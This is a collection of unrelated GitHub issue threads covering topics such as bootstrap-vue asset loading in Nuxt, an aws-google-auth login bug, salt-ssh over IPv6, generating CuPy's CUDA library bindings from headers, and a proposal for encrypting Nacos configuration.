antlr.ParseTreeWalkerDefault.Walk(NewTreeShapeListener(), tree) } Thank you.
bootstrap-vue/bootstrap-vue
268553398
Title: <b-image src="/.svg"> Question: username_0: Hello. This is my issue: when my attribute `src` in my `<b-img>` appoint for a svg, the console says 404. But if i set some url for the `src`, this works well. If i try with `<img>`, the svg load too. Didn't work: `<b-img src="../assets/SVG/logo-home.svg" fluid alt="logo-home.svg">` Work: `<b-img src="http://verdao.net/imgs/noticias/moises_30_home.jpg" fluid alt="logo-home.svg" ` Work: ` <img src="../assets/SVG/logo-home.svg" alt="logo-home.svg">` I am using the Nuxt.js. Answers: username_1: Vue loader only understands (by default) native `<img>` and `<image>` tags when resolving images from your asset directories. You need to configure vue-loader to understand the `<b-img>` component `src` attribute. See the documentation a : https://bootstrap-vue.js.org/docs/reference/imgages for few options on configuring the "transformToRequire" Status: Issue closed username_1: If for some reason you cannon configure the vue-loader `transformToRequire` option, you can use teh following webpack workaround: ```html <b-img :src="require('~/assets/img/picture.jpg')" /> ``` username_2: @username_0 the solution is to change the build config in the nuxt.config.js @username_1 I think this should be added to the BV documentation so that people may find it at: https://bootstrap-vue.js.org/docs/reference/images/ ``` build: { extend (config, ctx) { const vueLoader = config.module.rules.find((rule) => rule.loader === 'vue-loader') vueLoader.query.transformToRequire = { 'img': 'src', 'image': 'xlink:href', 'b-img': 'src', 'b-img-lazy': ['src', 'blank-src'], 'b-card': 'img-src', 'b-card-img': 'img-src', 'b-carousel-slide': 'img-src', 'b-embed': 'src' } } } ``` username_1: @username_2 We have just added your example above to the reference section. username_2: @username_1 I have reinstalled my whole code an I noticed that the vueLoader I now have does not have the query attribute so I had to use the options attribute. See also: https://github.com/nuxt/nuxt.js/issues/956 ``` { build: { extend (config, ctx) { const vueLoader = config.module.rules.find((rule) => rule.loader === 'vue-loader') vueLoader.options.transformToRequire = { 'img': 'src', 'image': 'xlink:href', 'b-img': 'src', 'b-img-lazy': ['src', 'blank-src'], 'b-card': 'img-src', 'b-card-img': 'img-src', 'b-carousel-slide': 'img-src', 'b-embed': 'src' } } } } ``` So it depends on the version, but I am not entirely sure which is which username_3: Not working for me with `b-img-lazy`, I've tried by adding the piece of code you suggest [here](https://bootstrap-vue.org/docs/reference/images#configuring-transformasseturls-in-nuxtjs) and nothings happens: ``` build: { extend(config) { const vueLoader = config.module.rules.find(rule => rule.loader === 'vue-loader') vueLoader.options.transformAssetUrls = { video: ['src', 'poster'], source: 'src', img: 'src', image: 'xlink:href', 'b-avatar': 'src', 'b-img': 'src', 'b-img-lazy': ['src', 'blank-src'], 'b-card': 'img-src', 'b-card-img': 'src', 'b-card-img-lazy': ['src', 'blank-src'], 'b-carousel-slide': 'img-src', 'b-embed': 'src' } } } ``` Tried with `transformAssetUrls` and `transformToRequire` but none of them work, I'm using Nuxt and BootstrapVue/nuxt, the docs say that working with the latest version does it automatically, but currently it is not working in SSR mode, everything works if I use just a plain `<img>` tag or `b-img`, but not working with `b-img-lazy`.
caravelahc/paratex
1021808643
Title: Deixar o __main__.py mais intuitivo e expressivo Question: username_0: **Resumo** Nosso main atual é uma demonstração do tipo de coisa que o paratex é capaz de fazer, mas para que uma pessoa entenda o que está acontecendo, ela precisa ir até o código e ler o que está lá, pois o único output que aparece na tela contem as mensagens `Building 2014-05-07.csv` (que vai trocando a data, o que eh bem descolado), e quando termina nao diz nada. Eu proponho que a operabilidade do main se dê da seguinte forma (setinhas sao pra discernir as etapas e nao precisam estar dessa forma no print do programa): ``` Demonstração do paratex: Extrairemos os dados de {site} das datas de {inicio} ate {fim} na pasta {pasta_destino}, podemos começar? {y/N} Building 2014-05-07.csv // o mesmo que ja tem hoje (Mas se a gente tiver usando pt-br tem que traduzir) Extração Completa! ``` Aí, dá pra evoluir essa issue pra criar uma CLI com os parametros acima, mas por enquanto só printar o que ta acontecendo ja ajuda bastante poetry run python -m paratex **Alternativas (Opcional)** (Outras possibilidades de soluções para a _feature_/incremento (se tiver ideias).)
cevoaustralia/aws-google-auth
238111511
Title: 'NoneType' object has no attribute 'get' Question: username_0: I'm using version 0.0.5 of the library and have set configuration via environment variables but having issues. ``` $ export GOOGLE_IDP_ID=<google_idp_id> $ export GOOGLE_SP_ID=<google_sp_id> $ export GOOGLE_USERNAME=<my_email_address> ``` When running `aws-google-auth` I get the following issue. ``` Password: Traceback (most recent call last): File "/usr/local/bin/aws-google-auth", line 11, in <module> sys.exit(cli()) File "/usr/local/lib/python2.7/site-packages/aws_google_auth/__init__.py", line 229, in cli google.do_login() File "/usr/local/lib/python2.7/site-packages/aws_google_auth/__init__.py", line 137, in do_login tl = response_page.find('input', {'name': 'TL'}).get('value') AttributeError: 'NoneType' object has no attribute 'get' ``` Answers: username_0: From troubleshooting it seems that it is falsely identifying that I am using an MFA. (In this case I am not). When I change: ``` if sess.url.find("totp/"): ``` to ``` if False and sess.url.find("totp/"): ``` (ie. disable the MFA detection) My login is successful. The `sess_url` in this case is `https://accounts.google.com/o/saml2/initsso?idpid=IDP&spid=SP&forceauthn=false&from_login=1&as=AS&authuser=0` Given there is no `totp/` in the string I guess the issue is with the `find`. I assume this is trying to do a string contains search, and might be better to use. ``` if "totp/" in sess.url: ``` I don't have an MFA enabled account to confirm this is valid. username_1: Closing as complete Status: Issue closed username_2: I am getting this issue with 0.0.25, why ?
bsns-feedback/bsns-ornithology
520605418
Title: Monthly VertNet data use report for 2019-9, resource bsns_ornithology Question: username_0: Your monthly VertNet data use report is ready! You can see the HTML rendered version of this report at: http://tools-usagestats.vertnet-portal.appspot.com/reports/147e1b93-9e2d-43a2-a34d-18738edeaa24/201909/ Raw text and JSON-formatted versions of the report are also available for download from this link. A copy of the text version has also been uploaded to your GitHub repository under the "reports" folder at: https://github.com/bsns-feedback/bsns-ornithology/tree/master/reports A full list of all available reports can be accessed from: http://tools-usagestats.vertnet-portal.appspot.com/reports/147e1b93-9e2d-43a2-a34d-18738edeaa24/ You can find more information on the reporting system, along with an explanation of each metric, at: http://www.vertnet.org/resources/usagereportingguide.html Please post any comments or questions to: http://www.vertnet.org/feedback/contact.html Thank you for being a part of VertNet.
MicrosoftDocs/azure-docs
701925278
Title: Will GPU resources be available in VNet, when GA? Question: username_0: Hi, Will GPU resources be available when deploying container instances into a VNet, under the preview or when GA? Is there a date for GA? Thx --- #### Document Details ⚠ *Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.* * ID: 87729a5b-eda2-985e-678a-45498839f6b8 * Version Independent ID: 8ce5224f-6b82-73e7-15dd-32a146c6ad53 * Content: [Deploy GPU-enabled container instance - Azure Container Instances](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-gpu) * Content Source: [articles/container-instances/container-instances-gpu.md](https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/container-instances/container-instances-gpu.md) * Service: **container-instances** * GitHub Login: @username_2 * Microsoft Alias: **username_2** Answers: username_1: Thanks for the feedback! We are currently investigating and will update you shortly. username_1: I have reached out to the internal teams to get information on the same. Thanks. username_1: Reference doc: [Deploy GPU-enabled container instance - Azure Container Instances](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-gpu) username_2: Hi @username_0 - at this time we do not have an ETA for Vnet + GPU container group instances. username_0: Ok, thanks for letting me know. Status: Issue closed username_0: Hi, Will GPU resources be available when deploying container instances into a VNet, under the preview or when GA? Is there a date for GA? Thx --- #### Document Details ⚠ *Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.* * ID: 87729a5b-eda2-985e-678a-45498839f6b8 * Version Independent ID: 8ce5224f-6b82-73e7-15dd-32a146c6ad53 * Content: [Deploy GPU-enabled container instance - Azure Container Instances](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-gpu) * Content Source: [articles/container-instances/container-instances-gpu.md](https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/container-instances/container-instances-gpu.md) * Service: **container-instances** * GitHub Login: @username_2 * Microsoft Alias: **username_2** username_0: Is there a plan for VNet + GPU at all? username_2: Yes - this is on our roadmap. When an ETA is available, we will share it [here](https://azure.microsoft.com/en-us/updates/?category=containers) if you search for "container instances" username_0: Ok, thx Status: Issue closed
cloudcogsio/omnipay-firstatlanticcommerce
1086892664
Title: Subscriptions Question: username_0: Hello, Came across your package and wanted to know if it also handles subscriptions? Answers: username_1: Not at this time. At the time of writing, subscriptions were not a requirement of the target application so that part of the api was not implemented. Status: Issue closed
joulestp/prj-rev-bwfs-tea-cozy
281155092
Title: Use proper html copyright symbol Question: username_0: Use the html copyright sign, which is `&copy;` Continue doing this in the future for all special symbols. You can find all of them here https://www.ascii.cl/htmlcodes.htm https://github.com/joulestp/prj-rev-bwfs-tea-cozy/blob/master/TEA%20COSY/index.html#L94
CelestialInteractive/SAC
343126309
Title: Change text for Current night time Symptoms Question: username_0: **Text change** Question prelim for Current night time symptoms: Question 3: Change to: **Stops breathing during sleep** **To Reproduce** Steps to reproduce the behavior: 1. Go to 'Demographics/Pre Lim' (It comes after the handedness Qs) **Expected behavior** Text change: **Stops breathing during sleep **Screenshots** ![image](https://user-images.githubusercontent.com/41471766/43007523-7f6e5c96-8c30-11e8-8eb5-47df26c1a44e.png) **Smartphone (please complete the following information):** - Device: Iphone 6 - OS: 11.4.1<issue_closed> Status: Issue closed
saltstack/salt
70414611
Title: salt-ssh problem possibly related to ipv6 Question: username_0: When I try to run salt-ssh on an ipv6 server I got: ``` $ salt-ssh myserver test.ping -l debug myserver: deploy ... (with -l debug) [DEBUG ] STDOUT fd00:c2b6:b24b:be67:2827:688d:e6a1:6a3b:1 _edbc7885e4f9aac9b83b35999b68d015148caf467b78fa39c05f669c0ff89878 deploy [DEBUG ] STDERR fd00:c2b6:b24b:be67:2827:688d:e6a1:6a3b:1 [DEBUG ] loading output in ['/var/cache/salt/master/extmods/output', '/usr/lib/python2.7/dist-packages/salt/output'] ... ``` There is empty line after both STDOUT and STDERR. ``` root@salt:~# salt-ssh --versions-report Salt: 0.17.5 Python: 2.7.3 (default, Mar 13 2014, 11:03:55) Jinja2: 2.6 M2Crypto: 0.21.1 msgpack-python: 0.1.10 msgpack-pure: Not Installed pycrypto: 2.6 PyYAML: 3.10 PyZMQ: 13.1.0 ZMQ: 3.2.3 ``` Answers: username_0: Target is `Linux vm15678 3.2.0-4-amd64 #1 SMP Debian 3.2.63-2+deb7u2 x86_64 GNU/Linux` username_1: @username_0, 0.17.5 is a very old release and salt-ssh has been almost completely written since then. Would you mind upgrading and see if you have the same problem? Thanks. username_0: Unfortunately not ATM. But it was fixed by adding a IPv4 address to the server. username_2: duplicate of #30561 username_2: Can be closed now that #38831 is in Status: Issue closed username_3: Yes, I think so. Thanks for your work here @username_2!
timfogarty1549/ui-divided-box
200879154
Title: the view is cut off after angular material upgrade Question: username_0: Hi, I know it's been a while since the last update but I've encountered with a problem after I upgraded my angular-material version from 1.0.6 to 1.1.1. In every container inside <ui-h-divided-box> after 16px I see only blank. Example: ![1](https://cloud.githubusercontent.com/assets/10139807/21964303/51914fa8-db52-11e6-8946-c348d73f72bc.jpg) Answers: username_1: First, nice to know someone is actually using this code. I have no experience with Angular-Material, but my guess is that there is some css class that is interfering. Using the developer tools in Chrome you should be able to figure out which class is the problem, then override it. If you want to set up a plunker I'll be glad to look at it. Also, note I moved on to Angular 2 a while back. Haven't looked at Angular 1 since. I do plan on recreating this in Angular 2 at some point.
zendframework/zend-form
174209815
Title: Zend\Form\Element\Submit and i18n Question: username_0: The "value" attribute of a \Zend\Form\Element\Submit gets translated twice. Take for example the code below: ``` $submit = new \Zend\Form\Element\Submit('Submit', array()); $submit->setAttribute('value', 'Sign in'); ``` At this point, if i render the element, the "Sign in" value will get translated, all good. However, after the POST has been sent, in my controller i prepare to perform the validation: ``` $data = $this->params()->fromPost(); $form->setData($data); ``` After calling setData(), the already translated "Sign in" will try to get translated again. This is generally not an issue, however in my implementation if a \Zend\I18n\Translator\Translator::EVENT_MISSING_TRANSLATION is triggered, the unknown string will be added to the PO language file, which kinda messes it up, because you now have strings from different languages into the same language file. Answers: username_1: This repository has been closed and moved to laminas/laminas-form; a new issue has been opened at https://github.com/laminas/laminas-form/issues/25.
ruffrey/google-finance-crawler
340657170
Title: error when using node crawler Question: username_0: Hi! I'm new to Node.js. When I run your project with 'node crawler', it shows the following. May I understand how to resolve the issue please? I'm running on Windows with windows node.js installed. I followed the command line in Readme uptil 'node crawler'. Thanks. ``` $ node crawler module.js:549 throw err; ^ Error: Cannot find module 'crawler' at Function.Module._resolveFilename (module.js:547:15) at Function.Module._load (module.js:474:25) at Module.require (module.js:596:17) at require (internal/module.js:11:18) at Object.<anonymous> (D:\Spring 2018\fyp\google-finance-crawler\crawler.js: 13:12) at Module._compile (module.js:652:30) at Object.Module._extensions..js (module.js:663:10) at Module.load (module.js:565:32) at tryModuleLoad (module.js:505:12) at Function.Module._load (module.js:497:3) ``` Answers: username_1: This project is pretty out of date, it probably needs various package upgrades. I took a look for a few mins and the `crawler` npm package won't build on newer versions of Node. username_1: I pushed a new version which will require Node.js v10. However, this script is highly dependent on the HTML layout of google finance, which has changed over the years. Someone would need to spend an hour or so changing the `stockParser.js` file to look at the right HTML tags or classes. Status: Issue closed username_0: OK. Thank you! I would try to adjust based on that. Thanks!
cupy/cupy
752837460
Title: Generating CUDA-related library FFI from its headers Question: username_0: Rel #3513. Currently, the FFI for CUDA-related library is hand-written in the files as `cusparse.pyx`, `cusparse.pxd` and `cupy_cusparse.h` for cuSPARSE. It may be time to generate it from its C header files automatically. The process consists of two parts: parsing and generating. As for parsing, any reasonably matured C parser in any language would be fine. For example, the following gist is the AST of `cusparse.h` parsed with [pycparser](https://github.com/eliben/pycparser) library and dumped in JSON. I think it has enough information for the purpose here. https://gist.github.com/username_0/21ae00f3a896abd50d4b5d3dcdbeb426 As for generating, we have to give some knowledge to the translating script: - Which entries to generate and which not to - Which to .pxd files and which to .pyx files - Translation rule for names and types - Compatibility with older CUDA Toolkit versions - If possible, also generating the bottommost wrapper layers would be fine Additionally, we consider the way to include it into our development process: - Where to place and when to run the script - How to track the headers of older CUDA Toolkit versions Answers: username_1: It would great to automatic this and extend it to generating stubs for RTD and HIP as well, as it is indeed a painful process to wrap a batch of APIs. @anaruse and I had discussed this briefly offline, and he also suggested pycparser, but I haven't had time to experiment with it 😅 Though it still looks hard to me to sort out everything... username_1: I noticed from https://github.com/cupy/cupy/pull/4338#discussion_r533071052 that if we set up compile time constants correctly for the version checks, Cython is able to eliminate dead code for us so that we don't have to add stubs for APIs that do not exist in older versions (of CUDA or HIP). Sounds like a viable strategy to save us some headache? Though I still have no clue how to automate this... username_0: I think of starting with the following script. It generates FFIs and wrapper functions for some cuSPARSE API that are listed in `config` dict in the file. It still needs API listed by hands, but would make the effort for working with wrappers far less. ```Python config = { 'cusparse<t>dense2csr': { 'out': None, 'use_stream': True, }, 'cusparseXcoosortByRow': { 'out': None, 'use_stream': True, }, } ``` <details> <summary>script</summary> ```Python import re import pycparser from pycparser import c_ast FILENAME = '/usr/local/cuda/include/cusparse.h' config = { 'cusparse<t>dense2csr': { 'out': None, 'use_stream': True, }, 'cusparseXcoosortByRow': { 'out': None, 'use_stream': True, }, } def get_config(config, name): name1 = re.sub(r'(cusparse)[SDCZ](.*)', r'\1<t>\2', name) return config[name1] def filter_cusparse_decls(nodes): return [n for n in nodes if 'cusparse.h' in str(n.coord)] def filter_func_decls(config, nodes): def aux(name): return re.sub(r'(cusparse)[SDCZ](.*)', r'\1<t>\2', name) return [n for n in nodes if n.name and aux(n.name) in config] def is_opaque_data_structure(name): return re.match(r'cusparse([A-Z].*)_t', name) is not None def transpile_func_name(name): name1 = re.match(r'cusparse([A-Z].*)', name)[1] [Truncated] cpdef cdense2csr(intptr_t handle, int m, int n, size_t descrA, size_t A, int lda, size_t nnzPerRow, size_t csrSortedValA, size_t csrSortedRowPtrA, size_t csrSortedColIndA): _setStream(get_handle_name(node)) status = cusparseCdense2csr(<Handle>handle, m, n, <const MatDescr>descrA, <const cuComplex *>A, lda, <const int *>nnzPerRow, <cuComplex *>csrSortedValA, <int *>csrSortedRowPtrA, <int *>csrSortedColIndA) check_status(status) Status cusparseZdense2csr(Handle handle, int m, int n, const MatDescr descrA, const cuDoubleComplex *A, int lda, const int *nnzPerRow, cuDoubleComplex *csrSortedValA, int *csrSortedRowPtrA, int *csrSortedColIndA) cpdef zdense2csr(intptr_t handle, int m, int n, size_t descrA, size_t A, int lda, size_t nnzPerRow, size_t csrSortedValA, size_t csrSortedRowPtrA, size_t csrSortedColIndA): _setStream(get_handle_name(node)) status = cusparseZdense2csr(<Handle>handle, m, n, <const MatDescr>descrA, <const cuDoubleComplex *>A, lda, <const int *>nnzPerRow, <cuDoubleComplex *>csrSortedValA, <int *>csrSortedRowPtrA, <int *>csrSortedColIndA) check_status(status) Status cusparseXcoosortByRow(Handle handle, int m, int n, int nnz, int *cooRowsA, int *cooColsA, int *P, void *pBuffer) cpdef xcoosortByRow(intptr_t handle, int m, int n, int nnz, size_t cooRowsA, size_t cooColsA, size_t P, size_t pBuffer): _setStream(get_handle_name(node)) status = cusparseXcoosortByRow(<Handle>handle, m, n, nnz, <int *>cooRowsA, <int *>cooColsA, <int *>P, <void *>pBuffer) check_status(status) ``` </details> Status: Issue closed username_0: Let me close this now because nVidia is going to provide their Python API. https://developer.nvidia.com/blog/unifying-the-cuda-python-ecosystem/ username_0: Rel #3513. Currently, the FFI for CUDA-related library is hand-written in the files as `cusparse.pyx`, `cusparse.pxd` and `cupy_cusparse.h` for cuSPARSE. It may be time to generate it from its C header files automatically. The process consists of two parts: parsing and generating. As for parsing, any reasonably matured C parser in any language would be fine. For example, the following gist is the AST of `cusparse.h` parsed with [pycparser](https://github.com/eliben/pycparser) library and dumped in JSON. I think it has enough information for the purpose here. https://gist.github.com/username_0/21ae00f3a896abd50d4b5d3dcdbeb426 As for generating, we have to give some knowledge to the translating script: - Which entries to generate and which not to - Which to .pxd files and which to .pyx files - Translation rule for names and types - Stubs for RTD and HIP - Compatibility with older CUDA Toolkit versions - Need mixing with hand-written code? - If possible, also generating the bottommost wrapper layers would be fine Additionally, we consider the way to include it into our development process: - Where to place and when to run the script - How to track the headers of older CUDA Toolkit versions
googlecodelabs/tools
975082257
Title: Negative infoboxes are no longer styled Question: username_0: Consider this infobox in Markdown: ``` Negative : It's important not to skip the command above if you're already using GCP. Otherwise, you'll end up modifying one of your existing projects. ``` It used to be rendered in an orange box and the word "Negative" wasn't displayed. However, a regression must've been introduced because this is how it's rendered now: ![neg-infobox](https://user-images.githubusercontent.com/369863/130149895-7853b500-407e-47a0-a648-35b636625cf5.png) This used to work fine until at least April. Answers: username_1: Workaround in markdown: <aside class="special"> Your texts here and here </aside>
MicrosoftDocs/data-integration
1019683319
Title: Outbound Network Requirements for the VNET Data Gateway Question: username_0: Does the VNET Data Gateway need any outbound connectivity to endpoints on the internet in order to function? For example does it need access to any of these Power BI related FQDN documented on this site: https://docs.microsoft.com/en-us/power-bi/admin/power-bi-allow-list-urls or is the communication between the VNET Data Gateway back to the Power Platform managed behind the scenes? --- #### Document Details ⚠ *Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.* * ID: 034ffc7c-77e4-956a-c525-cd420928dca4 * Version Independent ID: 39453075-e824-8ed6-2e9a-63b2714adde7 * Content: [Virtual network (VNet) data gateway architecture](https://docs.microsoft.com/en-us/data-integration/vnet/data-gateway-architecture) * Content Source: [data-integration/vnet/data-gateway-architecture.md](https://github.com/MicrosoftDocs/data-integration/blob/main/data-integration/vnet/data-gateway-architecture.md) * Product: **on-premises-data-gateway** * Technology: **** * GitHub Login: @arthiriyer * Microsoft Alias: **arthii** Answers: username_0: In the [FAQ page](https://docs.microsoft.com/en-us/data-integration/vnet/data-gateway-faqs) There is a vague mention of needing outbound rules to AAD and CA depending on the scenario. Is there some documentation somewhere that discusses these scenario? I assume that this would depend on the specific data source being access. Seeing that the list of supported data sources is quite limited it would be great if there was a table that listed all of the supported sources and what outbound connections is required and the specific scenarios where these outbound connections apply. ![image](https://user-images.githubusercontent.com/7891408/136503568-9a4dcc0f-6ecd-4b2e-b4a7-5260c267d49a.png)
JustusAdam/language-haskell
610564378
Title: Add keywords for ~, ! Question: username_0: The GHC proposal about [simplifying parsing of ~ and !](https://github.com/ghc-proposals/ghc-proposals/blob/master/proposals/0229-whitespace-bang-patterns.rst) contains a nice overview of some reserved operators: - `~` for lazy patterns, - `!` for strict patterns, - `@` for type applications and record at syntax, - `(#` and `#)` for unboxed tuples, - `$` and `$$` for Template Haskell splices, - `-` for prefix notation - `.` for forall quantification and module qualification, - `?` for implicit parameters, - `#` for magic hash, overloaded labels, CPP. Handling everything is going to be tricky, but handling `~` and `!` seems like a reasonable task. Status: Issue closed Answers: username_0: Added `~` and `!` prefix operators in 9b21f6d, and made the logic surrounding symbolic operators (including reserved ones) more consistent.
Atlantiss/NetherwingBugtracker
387682821
Title: [Paladin][Spell] Crusader judge and Sanctity math errors Question: username_0: [//]: # (Enclose links to things related to the bug using http://wowhead.com or any other TBC database.) [//]: # (You can use screenshot ingame to visual the issue.) [//]: # (Write your tickets according to the format:) [//]: # ([Quest][Azuremyst Isle] Red Snapper - Very Tasty!) [//]: # ([NPC] Magistrix Erona) [//]: # ([Spell][Mage] Fireball) [//]: # ([Npc][Drop] Ghostclaw Lynx) [//]: # ([Web] Armory doesnt work) [//]: # (To find server revision type `.server info` command in the game chat.) **Description**: Holy damage added from the paladins own gear, and increased holy damage taken by the targeted mob via judgement of the crusader. Seem to add up to different values. Sanctity aura also seem to incorrectly add bonus damage. **Current behaviour**: Testing the following 5 scenarios, using rank 6 consecration (max rank). 219 spell damage on gear = 92 damage 0 spell damage on gear, 219 spell damage from judgement of the crusader = 91 damage Using sanctity aura - +10% holy damage +2% all damage 219 spell damage on gear = 103 (92 * 1.12 = 103.04) 0 spell damage on gear, 219 spell damage from judgement of the crusader = 99 (91 *1.12 = 101.92) **Expected behaviour**: 1. The system should calculate spell damage equally. Be it spell damage on the characters gear, or bonus spell damage received on the target mob. 2. Sanctity aura should properly add 12% bonus damage total to holy abilities. It only appears to add just shy of 9% to spell damage granted by judgement of Crusader. **Server Revision**: 2395 Answers: username_1: What other talent points did you have other than Sanctity Aura 2/3? username_0: Crusade, which i just discovered provided (incorrectly) a damage bonus on the mechanical dummies in shattrath. Testing revealed the damage bonus did not apply on other mechanical units, so i will not be filing an individual bug report. As the mechs in Shattrath will not be part of the live launch. Testing on actual mobs outside shattrath (beast) without crusade talent. Test 2: **The new tested values appear identical, and they may be, or they are simply rounded to the same number** 219 spell damage on gear = 89 damage 0 spell damage on gear, 219 spell damage from judgement of the crusader = 89 damage Using sanctity aura - +10% holy damage +2% all damage **The bonus granted by sanctity aura does not properly grant both values the same bonus** 219 spell damage on gear = 98 0 spell damage on gear, 219 spell damage from judgement of the crusader = 96 username_0: Test 3: 361 spell damage on paladin Judgement of the crusader + Libram of zeal = 266 bonus damage = 627 bonus damage total Consecration rank 6 (max) Sanctity aura base rank = 10% holy damage 148 damage per tick Sanctity aura base + 1 point improved = 10% holy damage +1% all damage 150 damage per tick Sanctity aura base + 2 points improved = 10% holy damage +2% all damage 151 damage per tick Improved sanctity aura seem to be working as it should. First point adding 2 damage, second point adding only 1 damage is most certainly caused by rounding the numbers. username_2: Talents, buffs and debuffs stacking multiple damage so it will be like that (1,1*1,02)=1,122
sensu/sensu-docs
564863255
Title: Call out that armv5, armv6, and armv7 packages do not contain the sensu-backend binary Question: username_0: ### Description As we do not support the sensu-backend binary on armv5, armv6 and armv7 32 bit packages, we should call out that it will be missing intentionally here in the linux table https://docs.sensu.io/sensu-go/latest/installation/verify/ ### Category This is an issue with: - [ ] errata (error in doc content) - [ ] new doc (requires a completely new doc) - [X] update (add missing or refresh existing content) - [ ] improvement (improve docs content or format) ### Affected pages https://docs.sensu.io/sensu-go/latest/installation/verify/ (and each version page before it) ### Expected behavior To inform users that what they are downloading is intentionally missing a binary. ### Current behavior Could cause confusion for users in the future.<issue_closed> Status: Issue closed
alibaba/nacos
825266305
Title: Nacos configuration encryption/Nacos配置加密 Question: username_0: <!-- Here is for bug reports and feature requests ONLY! If you're looking for help, please check our mail list、WeChat group and the Gitter room. Please try to use English to describe your issue, or at least provide a snippet of English translation. 我们鼓励使用英文,如果不能直接使用,可以使用翻译软件,您仍旧可以保留中文原文。 --> **Is your feature request related to a problem? Please describe.** A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] **Describe the solution you'd like** A clear and concise description of what you want to happen. **Describe alternatives you've considered** A clear and concise description of any alternative solutions or features you've considered. **Additional context** Add any other context or screenshots about the feature request here. --- ## 背景 Nacos存储配置都是明文存储在数据库中,不管是在数据库里、还是在传输层(比如HTTP抓包),都能拿到明文数据。 * 如果数据库内容泄露,会导致所有配置项泄露 * 如果传输层被抓包,会导致传输的配置项泄露 ## 解决方案 如果需要加密配置,则需要在存储层和传输层都传输密文,只在客户端解密。 加密可以由第三方加密系统来完成(比如阿里云kms)或者自己实现(比如AES算法),目前第三方加密系统和Nacos的限制并不一致,比如KMS直接加密不支持特殊字符,最大只支持16kb等。 所以使用二级加密,方案如下: ![1614947486637-ad4de7cb-2a0a-48eb-befb-31d253cd6331](https://user-images.githubusercontent.com/1926185/110415927-c5cb0600-80cd-11eb-98f0-7e11190d79d3.png) 具体的客户端操作如图: ![1614947522244-555e31de-3298-4819-8bab-2adf7bdbff95](https://user-images.githubusercontent.com/1926185/110415930-c9f72380-80cd-11eb-9b6d-9e2c1a4aba5c.png) 客户端要能识别加密的配置,可以通过是否有encryptedDataKey来识别,也可以通过其他特征,比如通过前缀来识别。 为了用户理解方便,能够一眼识别出来是否加密配置,推荐通过前缀(`cipher-`)来识别。 加密方式必须可以扩展,这一块可以通过SPI来实现扩展点 ### 客户端实现 如上图所示,客户端修改主要涉及到两部分: #### 配置获取 * 由于获取配置接口(GET /nacos/v1/cs/configs)的body直接返回了配置的内容,所以对于加密配置项来说,encryptedDataKey只能添加在header中。 * 由于加密算法是可扩展的,所以通过SPI来实现Filter,统一过滤配置的获取和发布,这样就可以在Filter中做解密逻辑,从而获取明文配置了。 * 另外,Filter会调用第三方服务来解密,所以Filter需要从Properties中读取所需的参数,比如第三方系统的认证等信息。 #### 配置发布 * 配置发布接口(POST /nacos/v1/cs/configs)本来就接收了参数content,现在需要增加一个入参encryptedDataKey,nacos服务端会存储该值到数据库中。 * 由于加密算法是可扩展的,所以通过SPI来实现Filter,在发布配置的时候,Filter来做加密逻辑,从而确保发布配置时,提交到Nacos服务端的配置是密文的。 * 同样的,Filter会调用第三方服务来加密,所以Filter需要从Properties中读取所需的参数,比如第三方系统的认证等信息。 ### 修改点 #### 客户端 * 定义SPI扩展点。 * 实现示例Filter逻辑,以发布配置时加密、获取配置时解密为例。 #### 服务端 * 发布配置接口在post参数中增加encryptedDataKey参数,并入库。 * 获取配置接口在header中增加encryptedDataKey参数,返回给客户端。 Answers: username_0: Related issue: #492 #4707 username_1: Nice plan, @TsingLiang and @shiyiyue1102 , please check and discuss this plan. If no problem, we can detail the todo list. Status: Issue closed
rakuten-ads/Rakuten-Reward-Native-iOS
1180270967
Title: Need a new version built using Swift 5.6 toolchain Question: username_0: Looks like we need a new version built using Swift 5.6 toolchain. I got errors like this when building my project: ``` Failed to build module 'RakutenRewardNativeSDK'; this SDK is not supported by the compiler (the SDK is built with 'Apple Swift version 5.5 (swiftlang-1300.0.31.1 clang-1300.0.29.1)', while this compiler is 'Apple Swift version 5.6 (swiftlang-5.6.0.323.62 clang-1316.0.20.8)'). Please select a toolchain which matches the SDK. ```
ComputerScienceSummerCamp/CreateJSText
339384434
Title: shapeの大きさの取得とサイズ変更 Question: username_0: ```javascript let rect = new createjs.Shape(); rect.graphics.beginFill("white").drawRect(0,0,100,100); rect.setBounds(0,0,200,100); stage.addChild(rect); console.log(rect.getBounds().width); console.log(rect.getBounds().height); ``` ShapeはsetBoundsを使わないと、getBoundsができないようになっているようです。 Status: Issue closed Answers: username_0: ```javascript let rect = new createjs.Shape(); rect.graphics.beginFill("white").drawRect(0,0,100,100); rect.setBounds(0,0,200,100); stage.addChild(rect); console.log(rect.getBounds().width); console.log(rect.getBounds().height); ``` ShapeはsetBoundsを使わないと、getBoundsができないようになっているようです。 Status: Issue closed
pardeike/Harmony
1168164362
Title: Doc amendment: HarmonyPrepare Question: username_0: **Is your feature request related to a problem? Please describe.** I spent many hours to (re)discover that, when I use `HarmonyPrepare`, I must use it together with `HarmonyTargetMethod`. If I use `HarmonyPrepare` but only uses `HarmonyPatch` to define what method to target, the patch is ineffective. The debug report from #463 helped me discover this. However, the current docs do not mention this fact: https://harmony.username_1.net/articles/patching-auxilary.html#prepare **Describe the solution you'd like** Perhaps place a warning at the doc that `HarmonyPrepare` must be used with `HarmonyTargetMethod` **Describe alternatives you've considered** (none; in my case I required `HarmonyPrepare`, so will have to also use `HarmonyTargetMethod`; magic function names for `HarmonyPrepare` etc should carry the same effect as the class attributes.) **Additional context** Or is this a bug? I am using CitiesHarmony, which is kind of a Cities Skylines derivative of Harmony. Maybe you remember that chaotic time where Harmony had to negitiate with HugsLib when Harmony 2 was first launched in RimWorld. Coming back to Cities Skylines, Harmony 2 adoption was gradual, and it was after many bug reports that eventually someone came out and made CitiesHarmony, which is basically Harmony + redirection of old Harmony 1 to Harmony 2. Answers: username_1: Not true. If you add attributes to the class or to a prefix in it that define the target method you don’t need TargetMethod. Prepare will allow you to skip patching that method in any way you like (for example using a configuration state). TargetMethod is for specifying everything that attributes cannot due to their static data limitations. Prepare and Cleanup are general methods that are called from PatchClassProcessor. Think of them as before and after hooks just like in unit test frameworks with the addition of Prepare returning a bool can skip the patching to occur.
codelight-eu/acf-blocks
389266451
